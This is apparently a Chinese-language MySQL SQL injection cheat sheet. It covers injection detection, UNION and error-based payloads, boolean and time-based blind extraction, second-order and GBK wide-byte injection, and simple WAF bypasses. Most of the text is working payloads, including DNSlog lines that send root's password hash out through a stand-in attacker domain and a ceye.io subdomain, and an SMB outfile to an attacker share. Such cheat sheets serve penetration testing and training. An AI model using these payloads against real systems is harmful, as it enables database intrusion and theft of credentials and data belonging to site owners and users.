用户输入数据被当成了代码被执行
原则
有回显:union select、报错注入
无回显:dnslog, time-based, boolean-based
注:思维导图https://github.com/UltramanGaia/SecMM
最常见的注入
select * from xxx where id = %s ;
select * from xxx where id = '%s' ;
select * from xxx where id = "%s" ;
select * from xxx where id = ('%s') ;
select * from xxx where id = ("%s") ;
用
'
"
(
)
char
string
组合看看能不能报错显示出执行的sql语句
检测union select注入
order by 查列数
union select 看回显
用
or 1=1
or 1=2
and 1=1
and 1=2
检测boolean注入
用
or sleep(3)
检测time_base注入
Mysql
Mysql 默认端口 3306
注入方法
Union Select注入
确认列数
order by
union select 1,2,3
union select null,null,null
union select @,@,@
报错注入
1. floor + rand + group by
select * from user where id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
select * from user where id=1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));
2. ExtractValue
select * from user where id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3. UpdateXml
select * from user where id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1));
4. Name_Const(>5.0.12)
select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;
5. Join
select * from(select * from mysql.user a join mysql.user b)c;
select * from(select * from mysql.user a join mysql.user b using(Host))c;
select * from(select * from mysql.user a join mysql.user b using(Host,User))c;
6. exp()//mysql5.7貌似不能用
select * from user where id=1 and Exp(~(select * from (select version())a));
7. geometrycollection()//mysql5.7貌似不能用
select * from user where id=1 and geometrycollection((select * from(select * from(select user())a)b));
8. multipoint()//mysql5.7貌似不能用
select * from user where id=1 and multipoint((select * from(select * from(select user())a)b));
9. polygon()//mysql5.7貌似不能用
select * from user where id=1 and polygon((select * from(select * from(select user())a)b));
10. multipolygon()//mysql5.7貌似不能用
select * from user where id=1 and multipolygon((select * from(select * from(select user())a)b));
11. linestring()//mysql5.7貌似不能用
select * from user where id=1 and linestring((select * from(select * from(select user())a)b));
12. multilinestring()//mysql5.7貌似不能用
select * from user where id=1 and multilinestring((select * from(select * from(select user())a)b));
带外注入
-
bool注入
and 1=1
and 1=2
or 1=1
or 1=2
爆数据长度
and length(查询数据语句)=数字
select * from user where id=1 and length((select version()))=23;
爆数据
and mid((查询数据语句),数字,1)='字符'
select * from user where id=1 and mid((select version()),1,1)='5';
-
时间盲注
sleep()
benchmark()
爆数据长度
and if(length(查询数据语句)=数字,sleep(5),0)
and if(length(查询数据语句)=数字,BENCHMARK(10000000, md5(1)),0)
爆数据
and if(mid((查询数据语句),数字,1)='字符',sleep(5),0)
and if(mid((查询数据语句),数字,1)='字符',BENCHMARK(10000000, md5(1)),0)
其他操作。。
-
dnslog注入
select load_file(concat('\\\\foo.',(select mid(version(),1,1)),'.attack.com\\'));
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));
-
SMB
' or 1=1 into outfile '\\\\attacker\\SMBshare\\output.txt'
获取信息
最常用的获取数据方法
大于Mysql 5.0
获取库名
select schema_name from information_schema.schemata limit 0,1
获取表名
select table_name from information_schema.tables where table_schema='mysql' limit 0,1
获取列名
select column_name from information_schema.columns where table_schema= 'mysql' and table_name = 'db' limit 0,1
获取数据
select name from user;
注:可以用十六进制代替数据库名、表名
如果过滤了空格,linux下可以用下列字符替代
%09 tab水平
%0a 换行
%0d return
%0b tab垂直
%a0 空格
库名
select database();
select schema_name from information_schema.schemata limit 0,1;
select group_concat(schema_name) from information_schema.schemata;
select distinct(Db) from mysql.db;
select distinct(database_name) from mysql.innodb_index_stats;//mysql>5.6
select distinct(database_name) from mysql.innodb_table_stats;//mysql>5.6
表名
select table_name from information_schema.tables where table_schema='mysql' limit 0,1
select group_concat(table_name) from information_schema.tables where table_schema='mysql' ;
SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
select distinct(table_name) from mysql.innodb_index_stats;//mysql>5.6
select distinct(table_name) from mysql.innodb_table_stats;//mysql>5.6
列名
select column_name from information_schema.columns where table_schema= 'mysql' and table_name = 'db' limit 0,1
select group_concat(column_name) from information_schema.columns where table_schema= 'mysql' and table_name = 'db'
数据
Select group_concat(column_name) from table_name
二次排序注入 (存储型的注入)
二次排序注入也称为存储型的注入,就是将可能导致sql注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发sql注入。
二次排序注入思路:
1. hacker输入的数据会经过转义代入sql语句中,然后,储存在数据库中,在数据库中的数据是没有转义的
2. hacker进行别的操作,将数据库中的数据取出来(未转义)并用于拼接到另外一个sql语句中,这就可以绕过转义了。
假设存在一个账户"admin",密码不知
创建一个账户"admin'#",则在数据库中保存有"admin'#"
修改密码的时候,代入sql语句
update users set passwd = "xxxx" where username = ' admin'# ' and passwd = 'xxxxxxx'
宽字节注入
%df' -> %df%5c'
将sql语句解析为gbk编码时,
%df%5c -> 当成一个字符,后面的'逃逸出来了
(1) mysql_query,如mysql_query("SET NAMES 'gbk'", $conn)、mysql_query("setcharacter_set_client = gbk", $conn)。
(2) mysql_set_charset,如mysql_set_charset("gbk",$conn)。
(3) mb_convert_encoding,如mb_convert_encoding($sql,"utf8","gbk"),将SQL语句从gbk格式转换为utf8格式时,0x5c被吃掉了。
(4) iconv,如iconv('GBK', 'UTF-8',$sql)
注入点 update / insert /delete
报错注入
extractvalue()函数是MYSQL对XML文档数据进行查询函数。
or extractvalue(1,concat(0x7e,version())) or
updatexml()函数是MYSQL对XML文档数据进行修改的XPATH函数。
or updatexml(1,concat(0x7e,(version())),0) or
name_const()函数是MYSQL5.0.12版本加入的一个返回给定值的函数。当用来产生一个结果集合列时 , NAME_CONST() 促使该列使用给定名称。
or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or
在最新的MYSQL版本中,使用name_const()函数只能提取到数据库的版本信息。但是在一些比较旧的高于5.0.12(包括5.0.12)的MYSQL版本中,可以进一步提取更多数据。
update数据到可见参数
update users set points = 1*(select conv(hex((select substr( pw ,1%s,1))),0b10000,0b10))
WAF绕过
检测select
尝试大小写绕过
尝试URLencode,如%53elect
仅能查询当前表